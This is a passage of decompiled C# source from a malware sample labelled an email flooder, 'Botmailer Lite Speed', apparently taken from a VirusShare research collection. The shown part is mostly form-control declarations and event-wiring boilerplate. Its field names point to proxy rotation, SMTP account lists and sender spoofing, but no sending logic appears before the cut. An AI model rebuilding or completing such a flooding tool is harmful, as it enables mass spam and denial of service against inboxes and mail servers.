// Decompiled with JetBrains decompiler
// Type: WindowsApplication17.Form1
// Assembly: Botmailer Lite Speed, Version=1.0.1384.33852, Culture=neutral, PublicKeyToken=null
// MVID: 88833486-5004-4FA6-992A-B27BD1BCD279
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace WindowsApplication17
{
  public class Form1 : Form
  {
    [AccessedThroughProperty("Button1")]
    private Button _Button1;
    [AccessedThroughProperty("Button2")]
    private Button _Button2;
    [AccessedThroughProperty("MailingList")]
    private Panel _MailingList;
    [AccessedThroughProperty("OpenProxy")]
    private Button _OpenProxy;
    [AccessedThroughProperty("RealEmail")]
    private TextBox _RealEmail;
    [AccessedThroughProperty("SaveAccount")]
    private Button _SaveAccount;
    [AccessedThroughProperty("SaveFileDialog1")]
    private SaveFileDialog _SaveFileDialog1;
    [AccessedThroughProperty("clear")]
    private Button _clear;
    [AccessedThroughProperty("OpenSmtp")]
    private Button _OpenSmtp;
    [AccessedThroughProperty("Button3")]
    private Button _Button3;
    [AccessedThroughProperty("password")]
    private TextBox _password;
    [AccessedThroughProperty("Button4")]
    private Button _Button4;
    [AccessedThroughProperty("Subject")]
    private TextBox _Subject;
    [AccessedThroughProperty("Uselistbox")]
    private MenuItem _Uselistbox;
    [AccessedThroughProperty("HideSMTP")]
    private Button _HideSMTP;
    [AccessedThroughProperty("Send")]
    private MenuItem _Send;
    [AccessedThroughProperty("Proxy")]
    private TextBox _Proxy;
    [AccessedThroughProperty("SmtpAuth")]
    private Panel _SmtpAuth;
    [AccessedThroughProperty("Delete")]
    private Button _Delete;
    [AccessedThroughProperty("smtp")]
    private TextBox _smtp;
    [AccessedThroughProperty("pop3")]
    private TextBox _pop3;
    [AccessedThroughProperty("username")]
    private TextBox _username;
    [AccessedThroughProperty("Accountlist")]
    private ListBox _Accountlist;
    [AccessedThroughProperty("Save")]
    private Button _Save;
    [AccessedThroughProperty("Label6")]
    private Label _Label6;
    [AccessedThroughProperty("Label7")]
    private Label _Label7;
    [AccessedThroughProperty("Label8")]
    private Label _Label8;
    [AccessedThroughProperty("Label9")]
    private Label _Label9;
    [AccessedThroughProperty("Label10")]
    private Label _Label10;
    [AccessedThroughProperty("MenuItem23")]
    private MenuItem _MenuItem23;
    [AccessedThroughProperty("Message")]
    private Panel _Message;
    [AccessedThroughProperty("MenuItem24")]
    private MenuItem _MenuItem24;
    [AccessedThroughProperty("Button6")]
    private Button _Button6;
    [AccessedThroughProperty("Label5")]
    private Label _Label5;
    [AccessedThroughProperty("Label4")]
    private Label _Label4;
    [AccessedThroughProperty("Addaccnt")]
    private Button _Addaccnt;
    [AccessedThroughProperty("MenuItem9")]
    private MenuItem _MenuItem9;
    [AccessedThroughProperty("CheckAll")]
    private Button _CheckAll;
    [AccessedThroughProperty("Label3")]
    private Label _Label3;
    [AccessedThroughProperty("Fromname")]
    private TextBox _Fromname;
    [AccessedThroughProperty("Label2")]
    private Label _Label2;
    [AccessedThroughProperty("Label1")]
    private Label _Label1;
    [AccessedThroughProperty("Body")]
    private RichTextBox _Body;
    [AccessedThroughProperty("ToName")]
    private TextBox _ToName;
    [AccessedThroughProperty("ReplyTo")]
    private TextBox _ReplyTo;
    [AccessedThroughProperty("From")]
    private TextBox _From;
    [AccessedThroughProperty("Recipient")]
    private TextBox _Recipient;
    [AccessedThroughProperty("MenuItem22")]
    private MenuItem _MenuItem22;
    [AccessedThroughProperty("MenuItem21")]
    private MenuItem _MenuItem21;
    [AccessedThroughProperty("MenuItem18")]
    private MenuItem _MenuItem18;
    [AccessedThroughProperty("HideProxy")]
    private Button _HideProxy;
    [AccessedThroughProperty("Panel2")]
    private Panel _Panel2;
    [AccessedThroughProperty("OpenFileDialog1")]
    private OpenFileDialog _OpenFileDialog1;
    [AccessedThroughProperty("CloseAbout")]
    private Button _CloseAbout;
    [AccessedThroughProperty("Panel1")]
    private Panel _Panel1;
    [AccessedThroughProperty("MenuItem20")]
    private MenuItem _MenuItem20;
    [AccessedThroughProperty("MenuItem19")]
    private MenuItem _MenuItem19;
    [AccessedThroughProperty("MenuItem16")]
    private MenuItem _MenuItem16;
    [AccessedThroughProperty("MenuItem7")]
    private MenuItem _MenuItem7;
    [AccessedThroughProperty("MenuItem6")]
    private MenuItem _MenuItem6;
    [AccessedThroughProperty("MenuItem4")]
    private MenuItem _MenuItem4;
    [AccessedThroughProperty("Stopchecking")]
    private CheckBox _Stopchecking;
    [AccessedThroughProperty("List")]
    private MenuItem _List;
    [AccessedThroughProperty("Button8")]
    private Button _Button8;
    [AccessedThroughProperty("MenuItem1")]
    private MenuItem _MenuItem1;
    [AccessedThroughProperty("Button9")]
    private Button _Button9;
    [AccessedThroughProperty("LinkLabel1")]
    private LinkLabel _LinkLabel1;
    [AccessedThroughProperty("Label21")]
    private Label _Label21;
    [AccessedThroughProperty("MainMenu1")]
    private MainMenu _MainMenu1;
    [AccessedThroughProperty("Button10")]
    private Button _Button10;
    [AccessedThroughProperty("textbox1111")]
    private TextBox _textbox1111;
    [AccessedThroughProperty("TrackBar2")]
    private TrackBar _TrackBar2;
    [AccessedThroughProperty("HTML")]
    private CheckBox _HTML;
    [AccessedThroughProperty("Panel3")]
    private Panel _Panel3;
    [AccessedThroughProperty("Listlog")]
    private ListBox _Listlog;
    [AccessedThroughProperty("Button12")]
    private Button _Button12;
    [AccessedThroughProperty("log")]
    private LinkLabel _log;
    [AccessedThroughProperty("Label13")]
    private Label _Label13;
    [AccessedThroughProperty("Label14")]
    private Label _Label14;
    [AccessedThroughProperty("Button13")]
    private Button _Button13;
    [AccessedThroughProperty("Panel4")]
    private Panel _Panel4;
    [AccessedThroughProperty("Label15")]
    private Label _Label15;
    [AccessedThroughProperty("Button14")]
    private Button _Button14;
    [AccessedThroughProperty("Button15")]
    private Button _Button15;
    [AccessedThroughProperty("Button5")]
    private Button _Button5;
    [AccessedThroughProperty("Label17")]
    private Label _Label17;
    [AccessedThroughProperty("Status")]
    private Label _Status;
    [AccessedThroughProperty("MenuItem11")]
    private MenuItem _MenuItem11;
    [AccessedThroughProperty("ListBox2")]
    private ListBox _ListBox2;
    [AccessedThroughProperty("Button16")]
    private Button _Button16;
    [AccessedThroughProperty("Button17")]
    private Button _Button17;
    [AccessedThroughProperty("Button18")]
    private Button _Button18;
    [AccessedThroughProperty("Button19")]
    private Button _Button19;
    [AccessedThroughProperty("leechbox")]
    private TextBox _leechbox;
    [AccessedThroughProperty("Button21")]
    private Button _Button21;
    [AccessedThroughProperty("Label16")]
    private Label _Label16;
    [AccessedThroughProperty("Button20")]
    private Button _Button20;
    [AccessedThroughProperty("ProxySMTP")]
    private TextBox _ProxySMTP;
    [AccessedThroughProperty("Label12")]
    private Label _Label12;
    [AccessedThroughProperty("Label11")]
    private Label _Label11;
    [AccessedThroughProperty("Threads")]
    private Label _Threads;
    [AccessedThroughProperty("TrackBar1")]
    private TrackBar _TrackBar1;
    [AccessedThroughProperty("Proxylist2")]
    private ListBox _Proxylist2;
    [AccessedThroughProperty("Button7")]
    private Button _Button7;
    [AccessedThroughProperty("Proxylist")]
    private ListBox _Proxylist;
    [AccessedThroughProperty("ListBox1")]
    private ListBox _ListBox1;
    [AccessedThroughProperty("CheckProxy")]
    private Button _CheckProxy;
    [AccessedThroughProperty("Button11")]
    private Button _Button11;
    [AccessedThroughProperty("ProxyGroup")]
    private GroupBox _ProxyGroup;
    private string Sylonious;
    private IContainer components;
    private string[] Domain2;
    private string Domain3;
    private string domainfake;
    private string ip;
    private int i;
    private byte[] data;
    private int position;
    private int id;
    private int length;
    private static int PORT = 53;
    private Encoding ASCII;
    private string Mailserver1;
    private string Mailserver;
    private string Mailserver2;
    private string Error1;
    private string Error2;
    private int P;
    private int MessagesSent;
    private string JJ33;
    public int qou;
    public int ppou;
    private string UsePop;
    private string Useaccount;
    private string Htmlcheck;
    private Socket sock;
    private string RandomProxies;
    private string UseBuiltinSMTP;
    private string Pretendbemx;

    [STAThread]
    public static void Main() => Application.Run((Form) new Form1());

    internal virtual Label Status
    {
      get => this._Status;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Status == null)
          ;
        this._Status = value;
        if (this._Status == null)
          ;
      }
    }

    internal virtual LinkLabel log
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._log != null)
          this._log.LinkClicked -= new LinkLabelLinkClickedEventHandler(this.log_LinkClicked);
        this._log = value;
        if (this._log == null)
          return;
        this._log.LinkClicked += new LinkLabelLinkClickedEventHandler(this.log_LinkClicked);
      }
      get => this._log;
    }

    internal virtual MainMenu MainMenu1
    {
      get => this._MainMenu1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MainMenu1 == null)
          ;
        this._MainMenu1 = value;
        if (this._MainMenu1 == null)
          ;
      }
    }

    internal virtual MenuItem MenuItem1
    {
      get => this._MenuItem1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem1 == null)
          ;
        this._MenuItem1 = value;
        if (this._MenuItem1 == null)
          ;
      }
    }

    internal virtual MenuItem List
    {
      get => this._List;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._List == null)
          ;
        this._List = value;
        if (this._List == null)
          ;
      }
    }

    internal virtual MenuItem MenuItem4
    {
      get => this._MenuItem4;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem4 == null)
          ;
        this._MenuItem4 = value;
        if (this._MenuItem4 == null)
          ;
      }
    }

    internal virtual MenuItem MenuItem6
    {
      get => this._MenuItem6;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem6 != null)
          this._MenuItem6.Click -= new EventHandler(this.MenuItem6_Click);
        this._MenuItem6 = value;
        if (this._MenuItem6 == null)
          return;
        this._MenuItem6.Click += new EventHandler(this.MenuItem6_Click);
      }
    }

    internal virtual MenuItem MenuItem7
    {
      get => this._MenuItem7;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem7 == null)
          ;
        this._MenuItem7 = value;
        if (this._MenuItem7 == null)
          ;
      }
    }

    internal virtual MenuItem MenuItem16
    {
      get => this._MenuItem16;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem16 != null)
          this._MenuItem16.Click -= new EventHandler(this.MenuItem16_Click);
        this._MenuItem16 = value;
        if (this._MenuItem16 == null)
          return;
        this._MenuItem16.Click += new EventHandler(this.MenuItem16_Click);
      }
    }

    internal virtual MenuItem MenuItem19
    {
      get => this._MenuItem19;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem19 == null)
          ;
        this._MenuItem19 = value;
        if (this._MenuItem19 == null)
          ;
      }
    }

    internal virtual MenuItem MenuItem20
    {
      get => this._MenuItem20;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem20 == null)
          ;
        this._MenuItem20 = value;
        if (this._MenuItem20 == null)
          ;
      }
    }

    internal virtual Panel Panel1
    {
      get => this._Panel1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Panel1 == null)
          ;
        this._Panel1 = value;
        if (this._Panel1 == null)
          ;
      }
    }

    internal virtual Button CloseAbout
    {
      get => this._CloseAbout;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._CloseAbout != null)
          this._CloseAbout.Click -= new EventHandler(this.CloseAbout_Click);
        this._CloseAbout = value;
        if (this._CloseAbout == null)
          return;
        this._CloseAbout.Click += new EventHandler(this.CloseAbout_Click);
      }
    }

    internal virtual GroupBox ProxyGroup
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._ProxyGroup == null)
          ;
        this._ProxyGroup = value;
        if (this._ProxyGroup == null)
          ;
      }
      get => this._ProxyGroup;
    }

    internal virtual OpenFileDialog OpenFileDialog1
    {
      get => this._OpenFileDialog1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._OpenFileDialog1 == null)
          ;
        this._OpenFileDialog1 = value;
        if (this._OpenFileDialog1 == null)
          ;
      }
    }

    internal virtual Panel Panel2
    {
      get => this._Panel2;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Panel2 == null)
          ;
        this._Panel2 = value;
        if (this._Panel2 == null)
          ;
      }
    }

    internal virtual Button Button11
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button11 != null)
          this._Button11.Click -= new EventHandler(this.Button11_Click);
        this._Button11 = value;
        if (this._Button11 == null)
          return;
        this._Button11.Click += new EventHandler(this.Button11_Click);
      }
      get => this._Button11;
    }

    internal virtual Button HideProxy
    {
      get => this._HideProxy;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._HideProxy != null)
          this._HideProxy.Click -= new EventHandler(this.HideProxy_Click);
        this._HideProxy = value;
        if (this._HideProxy == null)
          return;
        this._HideProxy.Click += new EventHandler(this.HideProxy_Click);
      }
    }

    internal virtual MenuItem MenuItem18
    {
      get => this._MenuItem18;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem18 != null)
          this._MenuItem18.Click -= new EventHandler(this.MenuItem18_Click);
        this._MenuItem18 = value;
        if (this._MenuItem18 == null)
          return;
        this._MenuItem18.Click += new EventHandler(this.MenuItem18_Click);
      }
    }

    internal virtual Button CheckProxy
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._CheckProxy == null)
          ;
        this._CheckProxy = value;
        if (this._CheckProxy == null)
          ;
      }
      get => this._CheckProxy;
    }

    internal virtual MenuItem MenuItem21
    {
      get => this._MenuItem21;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem21 != null)
          this._MenuItem21.Click -= new EventHandler(this.MenuItem21_Click);
        this._MenuItem21 = value;
        if (this._MenuItem21 == null)
          return;
        this._MenuItem21.Click += new EventHandler(this.MenuItem21_Click);
      }
    }

    internal virtual MenuItem MenuItem22
    {
      get => this._MenuItem22;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem22 != null)
          this._MenuItem22.Click -= new EventHandler(this.MenuItem22_Click);
        this._MenuItem22 = value;
        if (this._MenuItem22 == null)
          return;
        this._MenuItem22.Click += new EventHandler(this.MenuItem22_Click);
      }
    }

    internal virtual ListBox Proxylist
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Proxylist != null)
          this._Proxylist.SelectedIndexChanged -= new EventHandler(this.Proxylist_SelectedIndexChanged);
        this._Proxylist = value;
        if (this._Proxylist == null)
          return;
        this._Proxylist.SelectedIndexChanged += new EventHandler(this.Proxylist_SelectedIndexChanged);
      }
      get => this._Proxylist;
    }

    internal virtual TextBox Recipient
    {
      get => this._Recipient;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Recipient == null)
          ;
        this._Recipient = value;
        if (this._Recipient == null)
          ;
      }
    }

    internal virtual Button Button7
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button7 != null)
          this._Button7.Click -= new EventHandler(this.Button7_Click);
        this._Button7 = value;
        if (this._Button7 == null)
          return;
        this._Button7.Click += new EventHandler(this.Button7_Click);
      }
      get => this._Button7;
    }

    internal virtual TextBox From
    {
      get => this._From;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._From == null)
          ;
        this._From = value;
        if (this._From == null)
          ;
      }
    }

    internal virtual TextBox ReplyTo
    {
      get => this._ReplyTo;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._ReplyTo == null)
          ;
        this._ReplyTo = value;
        if (this._ReplyTo == null)
          ;
      }
    }

    internal virtual TextBox ToName
    {
      get => this._ToName;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._ToName == null)
          ;
        this._ToName = value;
        if (this._ToName == null)
          ;
      }
    }

    internal virtual ListBox Proxylist2
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Proxylist2 != null)
          this._Proxylist2.SelectedIndexChanged -= new EventHandler(this.Proxylist2_SelectedIndexChanged);
        this._Proxylist2 = value;
        if (this._Proxylist2 == null)
          return;
        this._Proxylist2.SelectedIndexChanged += new EventHandler(this.Proxylist2_SelectedIndexChanged);
      }
      get => this._Proxylist2;
    }

    internal virtual RichTextBox Body
    {
      get => this._Body;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Body == null)
          ;
        this._Body = value;
        if (this._Body == null)
          ;
      }
    }

    internal virtual Label Label1
    {
      get => this._Label1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label1 == null)
          ;
        this._Label1 = value;
        if (this._Label1 == null)
          ;
      }
    }

    internal virtual Label Label2
    {
      get => this._Label2;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label2 == null)
          ;
        this._Label2 = value;
        if (this._Label2 == null)
          ;
      }
    }

    internal virtual TrackBar TrackBar1
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._TrackBar1 == null)
          ;
        this._TrackBar1 = value;
        if (this._TrackBar1 == null)
          ;
      }
      get => this._TrackBar1;
    }

    internal virtual TextBox Fromname
    {
      get => this._Fromname;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Fromname == null)
          ;
        this._Fromname = value;
        if (this._Fromname == null)
          ;
      }
    }

    internal virtual Label Label3
    {
      get => this._Label3;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label3 == null)
          ;
        this._Label3 = value;
        if (this._Label3 == null)
          ;
      }
    }

    internal virtual Label Threads
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Threads == null)
          ;
        this._Threads = value;
        if (this._Threads == null)
          ;
      }
      get => this._Threads;
    }

    internal virtual Label Label4
    {
      get => this._Label4;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label4 == null)
          ;
        this._Label4 = value;
        if (this._Label4 == null)
          ;
      }
    }

    internal virtual Label Label5
    {
      get => this._Label5;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label5 == null)
          ;
        this._Label5 = value;
        if (this._Label5 == null)
          ;
      }
    }

    internal virtual Label Label11
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label11 == null)
          ;
        this._Label11 = value;
        if (this._Label11 == null)
          ;
      }
      get => this._Label11;
    }

    internal virtual Label Label10
    {
      get => this._Label10;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label10 == null)
          ;
        this._Label10 = value;
        if (this._Label10 == null)
          ;
      }
    }

    internal virtual Label Label9
    {
      get => this._Label9;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label9 == null)
          ;
        this._Label9 = value;
        if (this._Label9 == null)
          ;
      }
    }

    internal virtual Label Label8
    {
      get => this._Label8;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label8 == null)
          ;
        this._Label8 = value;
        if (this._Label8 == null)
          ;
      }
    }

    internal virtual Label Label12
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label12 == null)
          ;
        this._Label12 = value;
        if (this._Label12 == null)
          ;
      }
      get => this._Label12;
    }

    internal virtual Label Label7
    {
      get => this._Label7;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label7 == null)
          ;
        this._Label7 = value;
        if (this._Label7 == null)
          ;
      }
    }

    internal virtual Label Label6
    {
      get => this._Label6;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label6 == null)
          ;
        this._Label6 = value;
        if (this._Label6 == null)
          ;
      }
    }

    internal virtual ListBox Accountlist
    {
      get => this._Accountlist;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Accountlist != null)
          this._Accountlist.SelectedIndexChanged -= new EventHandler(this.Accountlist_SelectedIndexChanged);
        this._Accountlist = value;
        if (this._Accountlist == null)
          return;
        this._Accountlist.SelectedIndexChanged += new EventHandler(this.Accountlist_SelectedIndexChanged);
      }
    }

    internal virtual TextBox ProxySMTP
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._ProxySMTP == null)
          ;
        this._ProxySMTP = value;
        if (this._ProxySMTP == null)
          ;
      }
      get => this._ProxySMTP;
    }

    internal virtual TextBox username
    {
      get => this._username;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._username == null)
          ;
        this._username = value;
        if (this._username == null)
          ;
      }
    }

    internal virtual TextBox pop3
    {
      get => this._pop3;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._pop3 != null)
          this._pop3.TextChanged -= new EventHandler(this.pop3_TextChanged);
        this._pop3 = value;
        if (this._pop3 == null)
          return;
        this._pop3.TextChanged += new EventHandler(this.pop3_TextChanged);
      }
    }

    internal virtual TextBox smtp
    {
      get => this._smtp;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._smtp == null)
          ;
        this._smtp = value;
        if (this._smtp == null)
          ;
      }
    }

    internal virtual Button Button20
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button20 != null)
          this._Button20.Click -= new EventHandler(this.Button20_Click);
        this._Button20 = value;
        if (this._Button20 == null)
          return;
        this._Button20.Click += new EventHandler(this.Button20_Click);
      }
      get => this._Button20;
    }

    internal virtual Panel SmtpAuth
    {
      get => this._SmtpAuth;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._SmtpAuth == null)
          ;
        this._SmtpAuth = value;
        if (this._SmtpAuth == null)
          ;
      }
    }

    internal virtual Button HideSMTP
    {
      get => this._HideSMTP;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._HideSMTP != null)
          this._HideSMTP.Click -= new EventHandler(this.HideSMTP_Click);
        this._HideSMTP = value;
        if (this._HideSMTP == null)
          return;
        this._HideSMTP.Click += new EventHandler(this.HideSMTP_Click);
      }
    }

    internal virtual TextBox password
    {
      get => this._password;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._password == null)
          ;
        this._password = value;
        if (this._password == null)
          ;
      }
    }

    internal virtual Button OpenSmtp
    {
      get => this._OpenSmtp;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._OpenSmtp != null)
          this._OpenSmtp.Click -= new EventHandler(this.OpenSmtp_Click);
        this._OpenSmtp = value;
        if (this._OpenSmtp == null)
          return;
        this._OpenSmtp.Click += new EventHandler(this.OpenSmtp_Click);
      }
    }

    internal virtual Label Label16
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label16 == null)
          ;
        this._Label16 = value;
        if (this._Label16 == null)
          ;
      }
      get => this._Label16;
    }

    internal virtual Button clear
    {
      get => this._clear;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._clear != null)
          this._clear.Click -= new EventHandler(this.Button2_Click);
        this._clear = value;
        if (this._clear == null)
          return;
        this._clear.Click += new EventHandler(this.Button2_Click);
      }
    }

    internal virtual SaveFileDialog SaveFileDialog1
    {
      get => this._SaveFileDialog1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._SaveFileDialog1 == null)
          ;
        this._SaveFileDialog1 = value;
        if (this._SaveFileDialog1 == null)
          ;
      }
    }

    internal virtual Button SaveAccount
    {
      get => this._SaveAccount;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._SaveAccount != null)
          this._SaveAccount.Click -= new EventHandler(this.SaveAccount_Click);
        this._SaveAccount = value;
        if (this._SaveAccount == null)
          return;
        this._SaveAccount.Click += new EventHandler(this.SaveAccount_Click);
      }
    }

    internal virtual Button Button21
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button21 != null)
          this._Button21.Click -= new EventHandler(this.Button21_Click);
        this._Button21 = value;
        if (this._Button21 == null)
          return;
        this._Button21.Click += new EventHandler(this.Button21_Click);
      }
      get => this._Button21;
    }

    internal virtual TextBox RealEmail
    {
      get => this._RealEmail;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._RealEmail == null)
          ;
        this._RealEmail = value;
        if (this._RealEmail == null)
          ;
      }
    }

    internal virtual Button OpenProxy
    {
      get => this._OpenProxy;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._OpenProxy != null)
          this._OpenProxy.Click -= new EventHandler(this.OpenProxy_Click);
        this._OpenProxy = value;
        if (this._OpenProxy == null)
          return;
        this._OpenProxy.Click += new EventHandler(this.OpenProxy_Click);
      }
    }

    internal virtual Panel MailingList
    {
      get => this._MailingList;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MailingList == null)
          ;
        this._MailingList = value;
        if (this._MailingList == null)
          ;
      }
    }

    internal virtual TextBox leechbox
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._leechbox == null)
          ;
        this._leechbox = value;
        if (this._leechbox == null)
          ;
      }
      get => this._leechbox;
    }

    internal virtual Button Button1
    {
      get => this._Button1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button1 != null)
          this._Button1.Click -= new EventHandler(this.Button1_Click_1);
        this._Button1 = value;
        if (this._Button1 == null)
          return;
        this._Button1.Click += new EventHandler(this.Button1_Click_1);
      }
    }

    internal virtual ListBox ListBox1
    {
      get => this._ListBox1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._ListBox1 == null)
          ;
        this._ListBox1 = value;
        if (this._ListBox1 == null)
          ;
      }
    }

    internal virtual Button Button2
    {
      get => this._Button2;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button2 != null)
          this._Button2.Click -= new EventHandler(this.Button2_Click_1);
        this._Button2 = value;
        if (this._Button2 == null)
          return;
        this._Button2.Click += new EventHandler(this.Button2_Click_1);
      }
    }

    internal virtual Button Button3
    {
      get => this._Button3;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button3 != null)
          this._Button3.Click -= new EventHandler(this.Button3_Click);
        this._Button3 = value;
        if (this._Button3 == null)
          return;
        this._Button3.Click += new EventHandler(this.Button3_Click);
      }
    }

    internal virtual Button Button19
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button19 == null)
          ;
        this._Button19 = value;
        if (this._Button19 == null)
          ;
      }
      get => this._Button19;
    }

    internal virtual Button Button4
    {
      get => this._Button4;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button4 != null)
          this._Button4.Click -= new EventHandler(this.Button4_Click);
        this._Button4 = value;
        if (this._Button4 == null)
          return;
        this._Button4.Click += new EventHandler(this.Button4_Click);
      }
    }

    internal virtual TextBox Subject
    {
      get => this._Subject;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Subject == null)
          ;
        this._Subject = value;
        if (this._Subject == null)
          ;
      }
    }

    internal virtual MenuItem Uselistbox
    {
      get => this._Uselistbox;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Uselistbox != null)
          this._Uselistbox.Click -= new EventHandler(this.Uselistbox_Click);
        this._Uselistbox = value;
        if (this._Uselistbox == null)
          return;
        this._Uselistbox.Click += new EventHandler(this.Uselistbox_Click);
      }
    }

    internal virtual MenuItem Send
    {
      get => this._Send;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Send != null)
          this._Send.Click -= new EventHandler(this.Send_Click);
        this._Send = value;
        if (this._Send == null)
          return;
        this._Send.Click += new EventHandler(this.Send_Click);
      }
    }

    internal virtual Button Button18
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button18 == null)
          ;
        this._Button18 = value;
        if (this._Button18 == null)
          ;
      }
      get => this._Button18;
    }

    internal virtual TextBox Proxy
    {
      get => this._Proxy;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Proxy == null)
          ;
        this._Proxy = value;
        if (this._Proxy == null)
          ;
      }
    }

    internal virtual Button Delete
    {
      get => this._Delete;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Delete != null)
          this._Delete.Click -= new EventHandler(this.Delete_Click);
        this._Delete = value;
        if (this._Delete == null)
          return;
        this._Delete.Click += new EventHandler(this.Delete_Click);
      }
    }

    internal virtual Button Save
    {
      get => this._Save;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Save != null)
          this._Save.Click -= new EventHandler(this.Save_Click);
        this._Save = value;
        if (this._Save == null)
          return;
        this._Save.Click += new EventHandler(this.Save_Click);
      }
    }

    internal virtual Button Button17
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button17 == null)
          ;
        this._Button17 = value;
        if (this._Button17 == null)
          ;
      }
      get => this._Button17;
    }

    internal virtual MenuItem MenuItem23
    {
      get => this._MenuItem23;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem23 == null)
          ;
        this._MenuItem23 = value;
        if (this._MenuItem23 == null)
          ;
      }
    }

    internal virtual MenuItem MenuItem24
    {
      get => this._MenuItem24;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem24 != null)
